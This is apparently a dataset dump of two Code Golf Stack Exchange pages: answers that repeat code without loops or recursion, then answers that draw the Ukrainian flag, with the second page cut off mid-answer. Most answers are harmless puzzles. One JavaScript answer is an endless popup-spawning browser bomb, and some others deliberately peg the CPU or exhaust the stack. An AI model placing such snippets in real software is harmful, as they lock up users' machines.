text
stringlengths
180
608k
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. Closed 7 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. A question similar to this has been [asked a couple of years ago](https://codegolf.stackexchange.com/questions/1034/reinvent-the-for-loop), but this one is even trickier. The challenge is simple. Write a program (in your language of choice) that repeatedly executes code without using any repetition structures such as `while`, `for`, `do while`, `foreach` or `goto` (**So for all you nitpickers, you can't use a loop**). However, ***recursion is not allowed, in the function calling itself sense (see definition below)***. That would make this challenge far too easy. There is no restriction on what needs to be executed in the loop, **but post an explanation with your answer** so that others can understand exactly what is being implemented. For those who may be hung up on definitions, the definition of a loop for this question is: `A programming language statement which allows code to be repeatedly executed.` And the definition of recursion for this question will be your standard recursive function definition: `A function that calls itself.` Winner will be the answer that has the most upvotes on July 16th at 10 AM eastern time. Good luck! **UPDATE:** To calm confusion that is still being expressed this may help: Rules as stated above: * Don't use loops or goto * Functions cannot call themselves * Do whatever you want in the 'loop' If you want to implement something and the rules don't explicitly disallow it, go ahead and do it. Many answers have already bent the rules. [Answer] # Ruby ``` def method_missing(meth,*args) puts 'Banana' send(meth.next) end def also puts "Orange you glad I didn't say banana?" end ahem ``` [Demo](https://ideone.com/4xwWoX) Clears its throat, prints "Banana" 3070 times, and also puts "Orange you glad I didn't say banana?". This uses Ruby's ridiculous just-in-time method definition functionality to define every method that lies alphabetically between the words 'ahem' and 'also' ("ahem", "ahen", "aheo", "ahep", "aheq", "aher", "ahes", "ahet", "aheu", "ahev"...) to first print Banana and then call the next in the list. [Answer] # Python - 16 or any other language with eval. ``` exec"print 1;"*9 ``` [Answer] # CSharp I've expanded the code into a more readable fashion as this is no longer code golf and added an increment counter so that people can actually see that this program does something. ``` class P{ static int x=0; ~P(){ System.Console.WriteLine(++x); new P(); } static void Main(){ new P(); } } ``` (Don't do this ever please). On start we create a new instance of the `P` class, which when the program tries to exit calls the GC which calls the finalizer which creates a new instance of the `P` class, which when it tries to clean up creates a new `P` which calls the finalizer... The program eventually dies. Edit: Inexplicably this runs only around 45k times before dying. I don't quite know how the GC figured out my tricky infinite loop but it did. The short is it seems it didn't figure it out and the thread just was killed after around 2 seconds of execution: <https://stackoverflow.com/questions/24662454/how-does-a-garbage-collector-avoid-an-infinite-loop-here> Edit2: If you think this is a little too much like recursion consider my other solution: <https://codegolf.stackexchange.com/a/33268/23300> It uses reification of generic methods so that at runtime it constantly is generating new methods and each method in term calls a newly minted method. I also avoid using `reference` type parameters, as normally the runtime can share the code for those methods. With a `value` type parameter the runtime is forced to create a new method. [Answer] # Befunge ``` . ``` Good old Befunge outputs 0 (from an empty stack) pretty much forever, as lines wrap around. [Answer] **JS** `(f=function(){ console.log('hi!'); eval("("+f+")()") })()` Function fun! A function that creates another function with the same body as itself and then runs it. It will display hi at the end when the stack limit is reached and the entire thing collapses. Disclaimer: you'll not be able to do anything in your browser until stack limit is reached. --- And another one, more **evil**: `function f(){ var tab = window.open(); tab.f = f; tab.f()}()` It creates a function which opens up a window, then creates a function within that window which is copy of the function, and then runs it. Disclaimer: if you'll allow opening of popups the only way to finish this will be to restart your computer [Answer] # x86 assembly/DOS ``` org 100h start: mov dx,data mov ah,9h int 21h push start ret data: db "Hello World!",10,13,"$" ``` > > Did I say no *reversed tail* recursion? Did I? > ![madame mim purple dragons](https://i.stack.imgur.com/Yusgo.jpg) > > > ### How it works > > The `ret` instruction, used to return from a function, actually pops the return address from the stack (which normally is put there by the corresponding `call`) and jumps to it. Here at each iteration we `push` the entrypoint address on the stack before returning, thus generating an infinite loop. > > > [Answer] # Java Straight from XKCD [![Bonding](https://i.stack.imgur.com/8UITm.png "I'm trying to build character but Eclipse is really confusing.")](https://xkcd.com/1188/) It's a never-ending game of catch between a parent and child! The target of `CHILD` is set to `PARENT` and the target of `PARENT` is the `CHILD`. When the `PARENT` calls `AIM`, it throws the instance of the `BALL` class and it is caught by the catch statement. The catch statement then calls `PARENT.TARGET.AIM` where the target is the `CHILD`. The `CHILD` instance does the same and "throws the ball back" to the parent. [Answer] # Bash, 3 characters ``` yes ``` yes will repeatedly return 'y' to the console Edit: Everyone is encouraged to edit this line: ``` yes something | xargs someaction ``` (thanks to Olivier Dulac) [Answer] # C, 35 characters ``` main(int a,char**v){execv(v[0],v);} ``` The program executes itself. I'm not sure if this is considered recursion or not. [Answer] # C (with GCC builtins - also seems to work with clang) * No explicit loops * No explicit gotos * No recursion * Just good old-fashioned messing with the stack (kids, don't try this at home without supervision): ``` #include <stdio.h> void *frameloop (void *ret_addr) { void **fp; void *my_ra = __builtin_return_address(0); if (ret_addr) { fp = __builtin_frame_address(0); if (*fp == my_ra) return (*fp = ret_addr); else fp++; if (*fp == my_ra) return (*fp = ret_addr); else fp++; if (*fp == my_ra) return (*fp = ret_addr); else fp++; if (*fp == my_ra) return (*fp = ret_addr); return NULL; } else { return (my_ra); } } int main (int argc, char **argv) { void *ret_addr; int i = 0; ret_addr = frameloop(NULL); printf("Hello World %d\n", i++); if (i < 10) { frameloop(ret_addr); } } ``` ### Explanation: * `main()` first calls `frameloop(NULL)`. In this case use the `__builtin_return_address()` builtin to get the return address (in `main()`) that `frameloop()` will return to. We return this address. * `printf()` to show we're looping * now we call `frameloop()` with the return address for the previous call. We look through the stack for the current return address, and when we find it, we substitute the previous return address. * We then return from the 2nd `frameloop()` call. But since the return address was hacked above, we end up returning to the point in `main()` where the first call should return to. Thus we end up in a loop. The search for the return address in the stack would of course be cleaner as a loop, but I unrolled a few iterations for the sake of no looping whatsoever. ### Output: ``` $ CFLAGS=-g make frameloop cc -g frameloop.c -o frameloop $ ./frameloop Hello World 0 Hello World 1 Hello World 2 Hello World 3 Hello World 4 Hello World 5 Hello World 6 Hello World 7 Hello World 8 Hello World 9 $ ``` [Answer] # Haskell The following code contains **no recursive function (even indirectly), no looping primitive and doesn't call any built-in recursive function** (uses only `IO`'s output and binding), yet it repeats a given action idenfinitely: ``` data Strange a = C (Strange a -> a) -- Extract a value out of 'Strange' extract :: Strange a -> a extract (x@(C x')) = x' x -- The Y combinator, which allows to express arbitrary recursion yc :: (a -> a) -> a yc f = let fxx = C (\x -> f (extract x)) in extract fxx main = yc (putStrLn "Hello world" >>) ``` Function `extract` doesn't call anything, `yc` calls just `extract` and `main` calls just `yc` and `putStrLn` and `>>`, which aren't recursive. **Explanation:** The trick is in the recursive data type `Strange`. It is a recursive data type that consumes itself, which, as shown in the example, allows arbitrary repetition. First, we can construct `extract x`, which essentially expresses self-application `x x` in the untyped lambda calculus. And this allows to construct [the Y combinator](https://en.wikipedia.org/wiki/Fixed-point_combinator#Fixed_point_combinators_in_lambda_calculus) defined as `λf.(λx.f(xx))(λx.f(xx))`. --- **Update:** As suggested, I'm posting a variant that is closer to the definition of **Y** in the untyped lambda calculus: ``` data Strange a = C (Strange a -> a) -- | Apply one term to another, removing the constructor. (#) :: Strange a -> Strange a -> a (C f) # x = f x infixl 3 # -- The Y combinator, which allows to express arbitrary recursion yc :: (a -> a) -> a yc f = C (\x -> f (x # x)) # C (\x -> f (x # x)) main = yc (putStrLn "Hello world" >>) ``` [Answer] ## C++ The following outputs a countdown from 10 to "Blast off!" using template metaprogramming. ``` #include <iostream> template<int N> void countdown() { std::cout << "T minus " << N << std::endl; countdown<N-1>(); } template<> void countdown<0>() { std::cout << "Blast off!" << std::endl; } int main() { countdown<10>(); return 0; } ``` It might look like a classic example of recursion, but it actually isn't, at least technically, depending on your definition. The compiler will generate ten *different* functions. `countdown<10>` prints "T minus 10" and then calls `countdown<9>`, and so on down to `countdown<0>`, which prints "Blast off!" and then returns. The recursion happens when you compile the code, but the executable doesn't contain any looping structures. In C++11 one can achieve similar effects using the `constexpr` keyword, such as this factorial function. (It's not possible to implement the countdown example this way, since `constexpr` functions can't have side-effects, but I think it might be possible in the upcoming C++14.) ``` constexpr int factorial(int n) { return n <= 1 ? 1 : (n * factorial(n-1)); } ``` Again this really looks like recursion, but the compiler will expand out `factorial(10)` into `10*9*8*7*6*5*4*3*2*1`, and then probably replace it with a constant value of `3628800`, so the executable will not contain any looping or recursive code. [Answer] ## Java Let's play with Java class loader and set it as its own parent: ``` import java.lang.reflect.Field; public class Loop { public static void main(String[] args) throws Exception { System.out.println("Let's loop"); Field field = ClassLoader.class.getDeclaredField("parent"); field.setAccessible(true); field.set(Loop.class.getClassLoader(), Loop.class.getClassLoader()); } } ``` This loop is actually so strong you'll have to use a `kill -9` to stop it :-) It uses 100,1% of my Mac's CPU. ![100,1% of CPU](https://i.stack.imgur.com/9EzWR.png) You can try to move the `System.out` at the end of the main function to experiment an alternate funny behavior. [Answer] # CSharp One more and equally wicked:: ``` public class P{ class A<B>{ public static int C<T>(){ System.Console.WriteLine(typeof(T)); return C<A<T>>(); } } public static void Main(){ A<P>.C<int>(); } } ``` This is not recursion... this is reification of code templates. While it appears we are calling the same method, the runtime is constantly creating new methods. We use the type parameter of int, as this actually forces it to create an entire new type and each instance of the method has to jit a new method. It cannot code share here. Eventually, we kill the call stack as it waits infinitely for the return of int that we promised but never delivered. In a similar fashion, we keep writing the type we created to keep it interesting. Basically each C we call is an enitrely new method that just has the same body. This is not really possible in a language like C++ or D that do their templates at compile time. Since, C# JIT is super lazy it only creates this stuff at the last possible moment. Thus, this is another fun way to get csharp to keep calling the same code over and over and over... [Answer] ## Redcode 94 (Core War) `MOV 0, 1` Copies instruction at address zero to address one. Because in Core War all addresses are relative to current PC address and modulo the size of the core, this is an infinite loop in one, non-jump, instruction. This program (warrior) is called "[Imp](http://vyznev.net/corewar/guide.html#start_imp)" and was first published by AK Dewdney. [Answer] ## Dart I guess this would be the classical way of doing recursion without any actual recursive function. No function below refers to itself by name, directly or indirectly. (Try it at [dartpad.dartlang.org](https://dartpad.dartlang.org/4725ead1e9baefb44b7d)) ``` // Strict fixpoint operator. fix(f) => ((x)=>f(x(x))) ((x)=>(v)=>f(x(x))(v)); // Repeat action while it returns true. void repeat(action) { fix((rep1) => (b) { if (b()) rep1(b); })(action); } main() { int x = 0; repeat(() { print(++x); return x < 10; }); } ``` [Answer] ## JS Not very original but small. 20 chars. ``` setInterval(alert,1) ``` [Answer] # Signals in C ``` #include <stdio.h> #include <signal.h> int main(void) { signal(SIGSEGV, main); *(int*)printf("Hello, world!\n") = 0; return 0; } ``` The behaviour of this program is obviously very much undefined, but today, on my computer, it keeps printing "Hello, world!". [Answer] # Emacs Lisp This is a great time to show off Lisp's powerful design where "code is data and data is code". Granted, these examples are very inefficient and this should never be used in a real context. The macros generate code that is an unrolled version of the supposed loop and that generated code is what is evaluated at runtime. ## repeat-it: allows you to loop N times ``` (defmacro repeat-it (n &rest body) "Evaluate BODY N number of times. Returns the result of the last evaluation of the last expression in BODY." (declare (indent defun)) (cons 'progn (make-list n (cons 'progn body)))) ``` ## repeat-it test: ``` ;; repeat-it test (progn (setq foobar 1) (repeat-it 10 (setq foobar (1+ foobar))) ;; assert that we incremented foobar n times (assert (= foobar 11))) ``` ## repeat-it-with-index: This macro is like `repeat-it` but it actually works just like the common looping macro `do-times` it allows you to specify a symbol that will be bound to the loop index. It uses an expansion time symbol to ensure that the index variable is set correctly at the beginning of each loop regardless of whether or not you modify it's value during the loop body. ``` (defmacro repeat-it-with-index (var-and-n &rest body) "Evaluate BODY N number of times with VAR bound to successive integers from 0 inclusive to n exclusive.. VAR-AND-N should be in the form (VAR N). Returns the result of the last evaluation of the last expression in BODY." (declare (indent defun)) (let ((fallback-sym (make-symbol "fallback"))) `(let ((,(first var-and-n) 0) (,fallback-sym 0)) ,(cons 'progn (make-list (second var-and-n) `(progn (setq ,(first var-and-n) ,fallback-sym) ,@body (incf ,fallback-sym))))))) ``` ## repeat-it-with-index test: This test shows that: 1. The body does evaluate N times 2. the index variable is always set correctly at the beginning of each iteration 3. changing the value of a symbol named "fallback" won't mess with the index ``` ;; repeat-it-with-index test (progn ;; first expected index is 0 (setq expected-index 0) ;; start repeating (repeat-it-with-index (index 50) ;; change the value of a 'fallback' symbol (setq fallback (random 10000)) ;; assert that index is set correctly, and that the changes to ;; fallback has no affect on its value (assert (= index expected-index)) ;; change the value of index (setq index (+ 100 (random 1000))) ;; assert that it has changed (assert (not (= index expected-index))) ;; increment the expected value (incf expected-index)) ;; assert that the final expected value is n (assert (= expected-index 50))) ``` [Answer] # Untyped lambda calculus ``` λf.(λx.f (x x)) (λx.f (x x)) ``` [Answer] **Haskell, 24 characters** ``` sequence_ (repeat (print "abc")) ``` or in a condensed form, with 24 characters ``` sequence_$repeat$print"" ``` (although the text is changed, this will still loop - this will print two quotes and a newline infinitely) explanation: print "abc" is basically an i/o action that just prints "abc". repeat is a function which takes a value x and returns an infinite list made of only x. sequence\_ is a function that takes a list of i/o actions and returns an i/o action that does all of the actions sequentially. so, basically, this program makes an infinite list of print "abc" commands, and repeatedly executes them. with no loops or recursion. [Answer] ## ASM (x86 + I/O for Linux) It does not matter how much your puny high level languages will struggle, it will still be just hidden instruction pointer manipulation. In the end it will be some sort of "goto" (jmp), unless you are bored enough to unroll loop in runtime. You can test code on [Ideone](http://ideone.com/qioUUp) You can also check out more refined version of this idea in [Matteo Italia DOS code](https://codegolf.stackexchange.com/a/34298/21193). It starts with string of 0..9 and replaces it with A..J, no direct jumps used (so lets say that no "goto" happened), no recurrence either. Code probably could be smaller with some abuse of address calculation, but working on online compiler is bothersome so I will leave it as it is. Core part: ``` mov dl, 'A' ; I refuse to explain this line! mov ebx, msg ; output array (string) call rawr ; lets put address of "rawr" line on stack rawr: pop eax ; and to variable with it! In same time we are breaking "ret" add eax, 4 ; pop eax takes 4 bytes of memory, so for sake of stack lets skip it mov [ebx], dl ; write letter inc dl ; and proceed to next inc ebx cmp dl, 'J' ; if we are done, simulate return/break by leaving this dangerous area jg print push eax ; and now lets abuse "ret" by making "call" by hand ret ``` Whole code ``` section .text global _start _start: ;<core> mov dl, 'A' mov ebx, msg call rawr rawr: pop eax add eax, 4 mov [ebx], dl inc dl inc ebx cmp dl, 'J' jg print push eax ret ;</core> ; just some Console.Write() print: mov edx,len mov ecx,msg mov ebx,1 mov eax,4 int 0x80 mov eax,1 xor ebx, ebx int 0x80 section .data msg db '0123456789',0xa len equ $ - msg ``` [Answer] # C Preprocessor A little "technique" that I came up with during an obfuscation challenge. There's no function recursion, but there is... file recursion? noloop.c: ``` #if __INCLUDE_LEVEL__ == 0 int main() { puts("There is no loop..."); #endif #if __INCLUDE_LEVEL__ <= 16 puts(".. but Im in ur loop!"); #include "noloop.c" #else return 0; } #endif ``` I wrote/tested this using gcc. Obviously your compiler needs to support the `__INCLUDE_LEVEL__` macro (or alternatively the `__COUNTER__` macro with some tweaking) in order for this to compile. It should be fairly obvious how this works, but for fun, run the preprocessor without compiling the code (use the `-E` flag with gcc). [Answer] # PHP Here's one with PHP. Loops by including the same file until counter reaches $max: ``` <?php if (!isset($i)) $i = 0; // Initialize $i with 0 $max = 10; // Target value // Loop body here echo "Iteration $i <br>\n"; $i++; // Increase $i by one on every iteration if ($i == $max) die('done'); // When $i reaches $max, end the script include(__FILE__); // Proceed with the loop ?> ``` The same as a for-loop: ``` <?php for ($i = 0; $i < 10; $i++) { echo "Iteration $i <br>\n"; } die('done'); ?> ``` [Answer] # Python The following code contains **no recursive function (directly or indirect), no looping primitive and doesn't call any built-in function** (except `print`): ``` def z(f): g = lambda x: lambda w: f(lambda v: (x(x))(v), w) return g(g) if __name__ == "__main__": def msg(rec, n): if (n > 0): print "Hello world!" rec(n - 1) z(msg)(7) ``` Prints "Hello world!" a given number of times. **Explanation:** Function `z` implements the [strict **Z** fixed-point combinator](https://en.wikipedia.org/wiki/Fixed-point_combinator#Strict_fixed_point_combinator), which (while not recursively defined) allows to express any recursive algorithm. [Answer] # z80 machine code In an environment where you can execute at every address and map ROM everywhere, map 64kb of ROM filled with zeroes to the entire address space. What it does: nothing. Repeatedly. How it works: the processor will start executing, the byte `00` is a `nop` instruction, so it will just continue on, reach the address `$ffff`, wrap around to `$0000`, and continue executing `nop`s until you reset it. To make it do slightly more interesting, fill the memory with some other value (be careful to avoid control flow instructions). [Answer] # Perl-regex ``` (q x x x 10) =~ /(?{ print "hello\n" })(?!)/; ``` [demo](http://ideone.com/dgZElL) or try it as: ``` perl -e '(q x x x 10) =~ /(?{ print "hello\n" })(?!)/;' ``` The `(?!)` never match. So the regex engine tries to match each *zero width positions* in the matched string. The `(q x x x 10)` is the same as `(" " x 10)` - repeat the `space` ten times. Edit: changed the "characters" to *zero width positions* to be more precise for better understandability. See answers to [this stackoverflow question](https://stackoverflow.com/questions/24716669/codegolf-regex-match). [Answer] # T-SQL -12 ``` print 1 GO 9 ``` > > Actually more of a quirk of Sql Server Management Studio. GO is a script separator and is not part of the T-SQL language. If you specify GO followed by a number it will execute the block that many times. > > > [Answer] ## C# Prints out all integers from uint.MaxValue to 0. ``` class Program { public static void Main() { uint max = uint.MaxValue; SuperWriteLine(ref max); Console.WriteLine(0); } static void SuperWriteLine(ref uint num) { if ((num & (1 << 31)) > 0) { WriteLine32(ref num); } if ((num & (1 << 30)) > 0) { WriteLine31(ref num); } if ((num & (1 << 29)) > 0) { WriteLine30(ref num); } if ((num & (1 << 28)) > 0) { WriteLine29(ref num); } if ((num & (1 << 27)) > 0) { WriteLine28(ref num); } if ((num & (1 << 26)) > 0) { WriteLine27(ref num); } if ((num & (1 << 25)) > 0) { WriteLine26(ref num); } if ((num & (1 << 24)) > 0) { WriteLine25(ref num); } if ((num & (1 << 23)) > 0) { WriteLine24(ref num); } if ((num & (1 << 22)) > 0) { WriteLine23(ref num); } if ((num & (1 << 21)) > 0) { WriteLine22(ref num); } if ((num & (1 << 20)) > 0) { WriteLine21(ref num); } if ((num & (1 << 19)) > 0) { WriteLine20(ref num); } if ((num & (1 << 18)) > 0) { WriteLine19(ref num); } if ((num & (1 << 17)) > 0) { WriteLine18(ref num); } if ((num & (1 << 16)) > 0) { WriteLine17(ref num); } if ((num & (1 << 15)) > 0) { WriteLine16(ref num); } if ((num & (1 << 14)) > 0) { WriteLine15(ref num); } if ((num & (1 << 13)) > 0) { WriteLine14(ref num); } if ((num & (1 << 12)) > 0) { WriteLine13(ref num); } if ((num & (1 << 11)) > 0) { WriteLine12(ref num); } if ((num & (1 << 10)) > 0) { WriteLine11(ref num); } if ((num & (1 << 9)) > 0) { WriteLine10(ref num); } if ((num & (1 << 8)) > 0) { WriteLine09(ref num); } if ((num & (1 << 7)) > 0) { WriteLine08(ref num); } if ((num & (1 << 6)) > 0) { WriteLine07(ref num); } if ((num & (1 << 5)) > 0) { WriteLine06(ref num); } if ((num & (1 << 4)) > 0) { WriteLine05(ref num); } if ((num & (1 << 3)) > 0) { WriteLine04(ref num); } if ((num & (1 << 2)) > 0) { WriteLine03(ref num); } if ((num & (1 << 1)) > 0) { WriteLine02(ref num); } if ((num & (1 << 0)) > 0) { WriteLine01(ref num); } } private static void WriteLine32(ref uint num) { WriteLine31(ref num); WriteLine31(ref num); } private static void WriteLine31(ref uint num) { WriteLine30(ref num); WriteLine30(ref num); } private static void WriteLine30(ref uint num) { WriteLine29(ref num); WriteLine29(ref num); } private static void WriteLine29(ref uint num) { WriteLine28(ref num); WriteLine28(ref num); } private static void WriteLine28(ref uint num) { WriteLine27(ref num); WriteLine27(ref num); } private static void WriteLine27(ref uint num) { WriteLine26(ref num); WriteLine26(ref num); } private static void WriteLine26(ref uint num) { WriteLine25(ref num); WriteLine25(ref num); } private static void WriteLine25(ref uint num) { WriteLine24(ref num); WriteLine24(ref num); } private static void WriteLine24(ref uint num) { WriteLine23(ref num); WriteLine23(ref num); } private static void WriteLine23(ref uint num) { WriteLine22(ref num); WriteLine22(ref num); } private static void WriteLine22(ref uint num) { WriteLine21(ref num); WriteLine21(ref num); } private static void WriteLine21(ref uint num) { WriteLine20(ref num); WriteLine20(ref num); } private static void WriteLine20(ref uint num) { WriteLine19(ref num); WriteLine19(ref num); } private static void WriteLine19(ref uint num) { WriteLine18(ref num); WriteLine18(ref num); } private static void WriteLine18(ref uint num) { WriteLine17(ref num); WriteLine17(ref num); } private static void WriteLine17(ref uint num) { WriteLine16(ref num); WriteLine16(ref num); } private static void WriteLine16(ref uint num) { WriteLine15(ref num); WriteLine15(ref num); } private static void WriteLine15(ref uint num) { WriteLine14(ref num); WriteLine14(ref num); } private static void WriteLine14(ref uint num) { WriteLine13(ref num); WriteLine13(ref num); } private static void WriteLine13(ref uint num) { WriteLine12(ref num); WriteLine12(ref num); } private static void WriteLine12(ref uint num) { WriteLine11(ref num); WriteLine11(ref num); } private static void WriteLine11(ref uint num) { WriteLine10(ref num); WriteLine10(ref num); } private static void WriteLine10(ref uint num) { WriteLine09(ref num); WriteLine09(ref num); } private static void WriteLine09(ref uint num) { WriteLine08(ref num); WriteLine08(ref num); } private static void WriteLine08(ref uint num) { WriteLine07(ref num); WriteLine07(ref num); } private static void WriteLine07(ref uint num) { WriteLine06(ref num); WriteLine06(ref num); } private static void WriteLine06(ref uint num) { WriteLine05(ref num); WriteLine05(ref num); } private static void WriteLine05(ref uint num) { WriteLine04(ref num); WriteLine04(ref num); } private static void WriteLine04(ref uint num) { WriteLine03(ref num); WriteLine03(ref num); } private static void WriteLine03(ref uint num) { WriteLine02(ref num); WriteLine02(ref num); } private static void WriteLine02(ref uint num) { WriteLine01(ref num); WriteLine01(ref num); } private static void WriteLine01(ref uint num) { Console.WriteLine(num--); } } ``` [Answer] # JS (in browser) How about this? ``` document.write(new Date()); location = location; ``` Prints the current time and reloads the page. ]
[Question] [ As you probably know, there is a [war going on in Ukraine](https://en.wikipedia.org/wiki/2022_Russian_invasion_of_Ukraine). I noticed that it seems nobody has posted a Ukrainian flag challenge yet, so I thought I'd do it myself in support of Ukraine. ## The Challenge Here is the flag: [![Flag of Ukraine](https://i.stack.imgur.com/BO7J7.png)](https://i.stack.imgur.com/BO7J7.png) * The flag is divided horizontally across the middle into two equally sized stripes. * Stripe colors: `(0, 87, 183)` or `#0057B7` (blue, top) and `(255, 215, 0)` or `#FFD700` (yellow, bottom). * Colors must be exact if possible, otherwise use the closest available blue and yellow. * The image can be saved to a file or piped raw to STDOUT in any common image file format, or it can be displayed in a window. * The image must be sized at a 3:2 ratio, and at least 78 by 52 pixels. * Alternatively, output a block of text at least 78 characters wide made of non-whitespace characters that depicts the flag, using [ANSI color codes](https://en.wikipedia.org/wiki/ANSI_escape_code#Colors) to color it. (Use standard blue and yellow.) * Built-in flag images, flag-drawing libraries, or [horrendously upscaling the Ukrainian flag emoji](https://chat.stackexchange.com/transcript/message/60681392#60681392) are prohibited. This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest code wins! [Answer] # HTML+SVG, 39 bytes ``` <svg viewbox=12.5,-8.9,1.5,1><text>😴 ``` ~~The question forbids zooming in on the *Ukraine* flag... but not the flag of Sweden!~~ Apparently that's disallowed too, so I'm using an emoji. This code is terrible practice and probably doesn't work on most browsers/OSes. It works on Firefox 98 on MacOS 12.2.1, and the emoji itself is very system dependent in its size and layout. In particular, it doesn't seem to work in a Stack Snippet, so here's something: [Try it Online!](https://vyxal.pythonanywhere.com/#WyLhuKIiLCIiLCJgPHN2ZyB2aWV3Ym94PTEyLjUsLTguOSwxLjUsMT48dGV4dD7wn5i0IiwiIiwiIl0=) **Run this at your own risk**, it will severely lag your computer. [Answer] # Scratch, 155 bytes ``` when gf clicked set pen color to(()+(22455 set pen size to(800 pen down go to x:(-240)y:(-90 set pen size to(180 set pen color to(()+(16766720 set x to(240 ``` ![Code](https://i.stack.imgur.com/MUTO5.png "Scratch code IMG") [Try it online!](https://scratch.mit.edu/projects/662531644) | [Test it on Scratchblocks!](http://scratchblocks.github.io/#?style=scratch3&script=when%20gf%20clicked%0Aset%20pen%20color%20to(()%2B(22455%0Aset%20pen%20size%20to(800%0Apen%20down%0Ago%20to%20x%3A(-240)y%3A(-90%0Aset%20pen%20size%20to(180%0Aset%20pen%20color%20to(()%2B(16766720%0Aset%20x%20to(240) # Explanation So basically: 1. When the green flag is clicked, the program sets the pen color to `()+(22455)`, because the `set pen color to` block doesn't support bare numbers, so we have to do: `[nothing, evaluates to 0]+22455` `22455` is the [Scratch color value](https://en.scratch-wiki.info/wiki/Computer_Colors) of `RGB(0, 87, 183)` (blue). 2. Then the pen size is set to `800`, which is just a big number 3. After executing `pen down`, the pencil goes to `x:-240`, which is the leftmost pixel, and to `y:-90` (the starting point for the bottom part). As it goes, the pencil draws a big blue blob which fills out the entire screen. 4. The pen size is set to `180`, half of the window height. 5. The pen color is set to `()+(16766720`, the scratch color value for `RGB(255, 215, 0)` (yellow). 6. Finally, with setting x to `240`, the program draws the bottom "line". [Answer] # CSS, ~~78~~ ~~75~~ ~~74~~ 71 bytes ``` *>*{width:9em;border-top:3em solid #0057B7;border-bottom:3em solid gold ``` Edit: Saved 3 bytes by using @pxeger's observation that `gold` is `#FFD700`. Saved 1 byte thanks to @RickN. Saved 3 bytes thanks to @IsmaelMiguel. [Answer] # [Python 3](https://www.python.org), ~~53~~ ~~51~~ ~~45~~ 42¹ bytes (+2 bytes if you want to use the Full Block Unicode Character `█` instead of `X`) ¹ *saved 3 bytes thanks to @pxeger* ``` x="\x1b[3%dm"+("\n"+"X"*78)*13;print(x%4,x%3) ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m72soLIkIz9vwYKlpSVpuhY3tSpslaSjjVVTcpW0NZRi8pS0lSKUtMwtNLUMja0LijLzSjQqVE10KlSNNSE6oBphBgAA) Nicer alternative that uses background colors instead of foreground colors: ``` x="\x1b[4%dm"+("\n"+" "*78)*13;print(x%4+x%3) ``` Note that this solution is not valid since it uses spaces. [Attempt This Online!](https://ato.pxeger.com/run?1=m72soLIkIz9vwYKlpSVpuhY3tSpslaSjTVRTcpW0NZRi8pS0lRSUtMwtNLUMja0LijLzSjQqVE20K1SNNSE6oBphBgAA) Here, the programs are represented with 3 more bytes, since the byte `\x1b` does not get rendered (see ATOs). On my terminal 13 rows seems to be the appropriate height, but it may vary. [Answer] # HTML + SVG + CSS, ~~73~~ ~~70~~ ~~68~~ 66 bytes ``` <svg width=225 style=background:linear-gradient(#0057B7+50%,gold+0 ``` **Explanation:** * As a *replaced element*, the `<svg>` element in HTML defaults to dimensions of `300px x 150px` * Setting `width="225"` gives the `<svg>` a width/height ratio of `225px / 150px` or `3 / 2` **Update 1:** *Another 3 bytes sliced off after @pxeger's suggestions on how to abuse the HTML even further.* **Update 2:** *A further 2 bytes shaved off thanks to @cornonthecob's ideas on how to strip from the HTML any vestige of its remaining self-respect.* **Update 3:** *2 more bytes removed thanks to @Sphinxxx's excellent observation that `gold` may be followed by the value `0` (or anything less than `50%`) without visibly altering the `linear-gradient background`.* [Answer] # Excel VBA, ~~84~~ 66 Bytes Anonymous function that takes no input and outputs to the range `A1:NH830`. Cell sizes are not adjusted, rather the cell that are selected are adjusted to account for the \$\approx415:124\$ [default cell aspect ratio](https://codegolf.stackexchange.com/a/138127/61846). ``` [A1:NH830].Interior.Color=55265:[A1:NH415].Interior.Color=12015360 ``` ## Output Excel limits how far you can zoom out to 10% normal zoom - so this solution doesn't quite fit on my 4K display. The output is also so large that attempting to copied and paste the output into a photo editor seems to exceed the maximum size for a single file in the Windows clipboard. If you have a display that can fit the full output of this script, please feel free to take a snapshot of such and update this answer. [![Slava Ukraini](https://i.stack.imgur.com/aamla.png)](https://i.stack.imgur.com/aamla.png) In the meantime, this is what the solution looks like when cells are scaled, instead of changing what ranges are selected. [![Slava Ukraini](https://i.stack.imgur.com/4YLce.png)](https://i.stack.imgur.com/4YLce.png) [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), ~~56~~ 55 bytes ``` Image@{{{0,29,61}/85},{{1,.843,0}}}~ImageResize~{78,52} ``` [Try it online!](https://tio.run/##Hc5PC4IwGIDx72IQBS/NzabrIKw/lzpFV/HwEssGOUHfi4351Vd6f/jxtEhv0yLZJ8bXB5syXltsjPbepyAOkPPAlAzgPYed2meQhhCmpXmYwX7N5AsFUoR466zTenPu3EDo6Nj3OFYr8CKHQoV6zfRMqgK4yv6ekBIEl7O3LcsFvCBhNU9AchrJJDVj9946ij8) [![enter image description here](https://i.stack.imgur.com/f6WaE.png)](https://i.stack.imgur.com/f6WaE.png) * The best I've found using exponentiation, 56 byte: ``` Image@{{{0,.05,.4}},{{1,.62,0}}}^.36~ImageResize~{78,52} Image@{{{0,.19,.6}},{{1,.77,0}}}^.65~ImageResize~{78,52} Image@{{{0,.26,.66}},{{1,.81,0}}}^.8~ImageResize~{78,52} ``` * The only valid dimension that can be written in fewer bytes than `{78,52}` is `9{9,6}`. If it weren't for `x~f~y` precedence over `xy`, this would have saved one byte. [Answer] # TI-Basic 83, 25 bytes This is a rather extreme abuse of the "closest color in your language" rule, as the TI-83 Plus' LCD screen is only capable of two colors (black and "white"; white in air-quotes, as the off color is more green than anything), but it beats all the other graphical output answers except [Unicorn](https://codegolf.stackexchange.com/a/245404/111305), and I imagine a newer TI calculator with a color display, such as the TI-84 Plus CE, could do it right with almost identical code, but I don't think I can test that, as I don't own any such calculator, and a quick search of the internet didn't find any free emulators. ``` :AxesOff :Shade(0,10 :Shade(-10,0,-10,10,3,2 ``` Edit: @MarcMush pointed out that, per site consensus, I can assume that the graph bounds are already initialized to `ZStandard`, allowing me to trim that, and explained some details of how the calculator's MEM screen displays program bytecounts, revising my bytecount down to 25 ## Output: To make my rules abuse slightly better, I did opt to make the "yellow" half be lightly filled instead of empty. Although this might not technically constitute a solid color, in the context of what a TI-83 can display, I feel like it is closer to yellow than no fill. [![A picture of the screen of a TI-83 calculator, with the top half of the screen fully filled 